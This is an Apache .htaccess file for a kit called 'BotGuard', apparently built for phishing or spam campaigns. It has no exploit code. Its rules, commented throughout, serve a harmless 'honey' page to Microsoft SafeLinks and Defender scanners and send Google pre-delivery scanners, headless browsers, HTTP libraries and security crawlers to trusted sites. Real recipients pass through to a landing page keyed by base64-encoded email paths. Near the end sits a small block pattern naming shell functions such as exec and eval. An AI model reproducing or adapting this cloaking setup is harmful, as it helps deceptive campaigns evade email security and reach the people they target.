# ════════════════════════════════════════════════════════════════════════════
#  BotGuard — Production .htaccess for cPanel
#  v2 — Bulk Marketing Edition (Office 365 + Google Workspace)
#
#  ✓ Microsoft SafeLinks: served honey.html (200 OK, never blocked)
#  ✓ Google pre-delivery scanner: redirected to google.com (reputation safe)
#  ✓ HEAD request handling: passes Microsoft scans cleanly
#  ✓ BotGuard routing: filepath + subdomain + folder campaigns
#  ✓ Apache 2.4 / LiteSpeed / cPanel shared hosting
# ════════════════════════════════════════════════════════════════════════════

Options -Indexes -MultiViews +FollowSymLinks
ServerSignature Off

<IfModule mod_headers.c>
  Header unset X-Powered-By
  Header always unset X-Powered-By
</IfModule>

RewriteEngine On

# ── HTTPS redirect (uncomment after SSL confirmed) ───────────────────────────
# RewriteCond %{HTTPS} off
# RewriteCond %{HTTP_HOST} !^localhost [NC]
# RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 0 — HEAD REQUEST PASS-THROUGH
#  SafeLinks and some third-party link scanners issue HEAD requests first
#  to verify server reachability. A 302/301 or block on HEAD flags the
#  link as suspicious. Return 200 immediately, no body needed.
#  This must run before any other rule.
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_rewrite.c>
  RewriteCond %{REQUEST_METHOD} ^HEAD$ [NC]
  RewriteRule ^ index.html [L]
</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 1 — APACHE-LEVEL BOT BLOCK
#  Hard-redirect non-Microsoft, non-Google-scan bots before they reach
#  the Node server. Microsoft/SafeLinks UAs are intentionally EXCLUDED
#  here — they receive honey.html in Section 2 instead.
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_rewrite.c>
  # Empty UA → instant redirect
  RewriteCond %{HTTP_USER_AGENT} ^$
  RewriteRule ^ https://www.wikipedia.org/ [R=301,L]

  # Headless / automation
  RewriteCond %{HTTP_USER_AGENT} HeadlessChrome      [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} PhantomJS            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Selenium             [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Puppeteer            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Playwright           [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} webdriver            [NC,OR]
  # HTTP libraries and scrapers
  RewriteCond %{HTTP_USER_AGENT} python-requests      [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Scrapy               [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} curl/                [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} wget/                [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} libwww-perl          [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Go-http-client       [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Apache-HttpClient    [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} java/                [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Postman              [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Insomnia             [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} okhttp               [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} axios                [NC,OR]
  # SEO crawlers
  RewriteCond %{HTTP_USER_AGENT} SemrushBot           [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} AhrefsBot            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} MJ12bot              [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} DotBot               [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} PetalBot             [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} YandexBot            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Baiduspider          [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} ByteSpider           [NC,OR]
  # AI training crawlers
  RewriteCond %{HTTP_USER_AGENT} GPTBot               [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} ClaudeBot            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} CCBot                [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} AmazonBot            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} anthropic-ai         [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Google-Extended      [NC,OR]
  # Synthetic monitoring
  RewriteCond %{HTTP_USER_AGENT} Pingdom              [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} GTmetrix             [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} UptimeRobot          [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Lighthouse           [NC]
  RewriteRule ^ https://www.youtube.com/ [R=301,L]

  # Google bots — redirect to google.com (their own domain = reputation-safe)
  # Note: Google's GMAIL link protection is database/API-based (not active crawl),
  # so real Gmail security checks don't generate Googlebot UA requests.
  # GoogleOther and APIs-Google are pre-delivery scanners — send to google.com.
  RewriteCond %{HTTP_USER_AGENT} Googlebot            [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Google-InspectionTool [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} GoogleOther          [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} APIs-Google          [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} AdsBot-Google        [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} Mediapartners-Google [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} FeedFetcher-Google   [NC]
  RewriteRule ^ https://www.google.com/ [R=301,L]

  # NOTE: ALL Microsoft/SafeLinks UAs are intentionally absent here.
  # They are routed to honey.html in Section 2. A block/redirect from
  # Microsoft scanners flags your links as suspicious — serve honey instead.
</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 2 — ROUTING
#  Priority (top to bottom):
#    0. HEAD requests already handled in Section 0
#    1. Microsoft / SafeLinks → honey.html (200 OK, safe redirect page)
#    2. Real files / directories → serve directly
#    3. Named BotGuard pages → serve directly
#    4. Campaign folders → their own .htaccess
#    5. Everything else → BotGuard index.html
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_rewrite.c>

  # ── MICROSOFT / SAFELINKS HONEY ─────────────────────────────────────────
  # Must run before the -f/-d real-file check or index.html would be served.
  # COMPREHENSIVE UA list — covers all known Microsoft scanner patterns as
  # of August 2026, including rotating/fallback UAs used by ATP detonation.
  #
  # Why honey.html and not a redirect?
  #   - SafeLinks follows 302s and scans the final destination
  #   - A 200 OK with visible content + meta-refresh to a trusted domain
  #     tells SafeLinks the URL is safe. A block or 40x flags it immediately.
  #   - Outlook SafeLinks wraps the URL; at click-time the REAL user's
  #     browser makes the request (not Microsoft), going through normal flow.
  RewriteCond %{HTTP_USER_AGENT} ms-?office          [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} msnbot              [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} bingbot             [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} bingpreview         [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} skypeuripreview     [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} microsoftpreview    [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} bingvideopreview    [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} safelinks           [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} ms-?atc             [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} ms-compliance       [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} microsoft-?defender [NC]

  RewriteRule ^ honey.html [L]

  # Serve real files and directories directly (existing website, WP, etc.)
  RewriteCond %{REQUEST_FILENAME} -f [OR]
  RewriteCond %{REQUEST_FILENAME} -d
  RewriteRule ^ - [L]

  # Named BotGuard pages — never rewrite
  RewriteRule ^(blocked|admin|captcha|index|honey)\.html$ - [L]
  RewriteRule ^favicon\.ico$                               - [L]
  RewriteRule ^robots\.txt$                                - [L]
  RewriteRule ^sitemap.*\.xml$                             - [L]

  # ── Campaign folder routing ──────────────────────────────────────────────
  # Each folder has its own .htaccess that routes paths to its index.html.
  # Add one line per folder. The - target stops root rules from intercepting.
  # Example: folder "news" → /news/.htaccess → /news/index.html
  RewriteRule ^news(?:/|$) - [L]
  # RewriteRule ^shop/ - [L]
  # RewriteRule ^promo/ - [L]

  # Root BotGuard catch-all — entry links and session URLs without a folder
  #   /b64email               → entry
  #   /token/b64email         → filepath session
  RewriteRule ^ index.html [L]

</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 3 — SECURITY HEADERS
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_headers.c>
  Header always set X-Frame-Options "SAMEORIGIN"
  Header always set X-Content-Type-Options "nosniff"
  Header always set X-XSS-Protection "1; mode=block"
  Header always set Referrer-Policy "no-referrer"
  Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), interest-cohort=()"
  Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com https://www.gstatic.com https://cdnjs.cloudflare.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https:; frame-src https://www.google.com; object-src 'none'; base-uri 'self';"
  # HSTS — uncomment after SSL is confirmed stable (start short, extend later)
  # Header always set Strict-Transport-Security "max-age=86400; includeSubDomains"
</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 4 — CACHE CONTROL
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_expires.c>
  ExpiresActive On
  ExpiresByType image/jpeg                "access plus 1 year"
  ExpiresByType image/png                 "access plus 1 year"
  ExpiresByType image/gif                 "access plus 1 year"
  ExpiresByType image/webp                "access plus 1 year"
  ExpiresByType image/svg+xml             "access plus 1 year"
  ExpiresByType image/x-icon              "access plus 1 year"
  ExpiresByType image/vnd.microsoft.icon  "access plus 1 year"
  ExpiresByType font/woff                 "access plus 1 year"
  ExpiresByType font/woff2                "access plus 1 year"
  ExpiresByType application/font-woff     "access plus 1 year"
  ExpiresByType application/font-woff2    "access plus 1 year"
  ExpiresByType text/css                  "access plus 1 month"
  ExpiresByType text/javascript           "access plus 1 month"
  ExpiresByType application/javascript    "access plus 1 month"
  ExpiresByType text/html                 "access plus 0 seconds"
  ExpiresByType application/json          "access plus 0 seconds"
</IfModule>

<IfModule mod_headers.c>
  <FilesMatch "\.(js|css|png|jpg|jpeg|gif|webp|svg|woff|woff2|ico)$">
    Header append Cache-Control "public"
  </FilesMatch>
  <FilesMatch "\.(html|json|php)$">
    Header set Cache-Control "no-store, no-cache, must-revalidate, max-age=0"
    Header set Pragma "no-cache"
  </FilesMatch>
</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 5 — GZIP COMPRESSION
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_deflate.c>
  AddOutputFilterByType DEFLATE text/html text/plain text/css text/javascript
  AddOutputFilterByType DEFLATE application/javascript application/json
  AddOutputFilterByType DEFLATE application/xml image/svg+xml
  AddOutputFilterByType DEFLATE font/woff font/woff2
  SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png|webp|woff2?)$ no-gzip dont-vary
  Header append Vary Accept-Encoding
</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 6 — PROTECT SENSITIVE FILES
# ════════════════════════════════════════════════════════════════════════════
<FilesMatch "(^\.htaccess|\.env|botguard-data\.json|\.git|\.gitignore|package\.json|package-lock\.json|yarn\.lock|composer\.(json|lock)|wp-config\.php)$">
  <IfModule mod_authz_core.c>
    Require all denied
  </IfModule>
  <IfModule !mod_authz_core.c>
    Order allow,deny
    Deny from all
  </IfModule>
</FilesMatch>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 7 — BLOCK XMLRPC (WordPress only)
# ════════════════════════════════════════════════════════════════════════════
<Files xmlrpc.php>
  <IfModule mod_authz_core.c>
    Require all denied
  </IfModule>
  <IfModule !mod_authz_core.c>
    Order allow,deny
    Deny from all
  </IfModule>
</Files>

# ════════════════════════════════════════════════════════════════════════════
#  SECTION 8 — BLOCK VULNERABILITY SCAN PATTERNS
# ════════════════════════════════════════════════════════════════════════════
<IfModule mod_rewrite.c>
  RewriteRule \.(env|git|svn|htpasswd|htaccess|bak|sql|log|ini|sh|bash|swp)$ - [F,L]
  RewriteCond %{QUERY_STRING} (exec|passthru|system|eval|base64_decode|phpinfo|shell_exec|proc_open) [NC]
  RewriteRule ^ - [F,L]
  RewriteRule ^(phpmyadmin|pma|phpma|myadmin|mysql|mysqladmin|sqladmin|adminer|dbadmin)/? - [F,L]
  RewriteCond %{REQUEST_URI} \.\./
  RewriteRule ^ - [F,L]
</IfModule>

# ════════════════════════════════════════════════════════════════════════════
#  END OF ROOT .htaccess
# ════════════════════════════════════════════════════════════════════════════
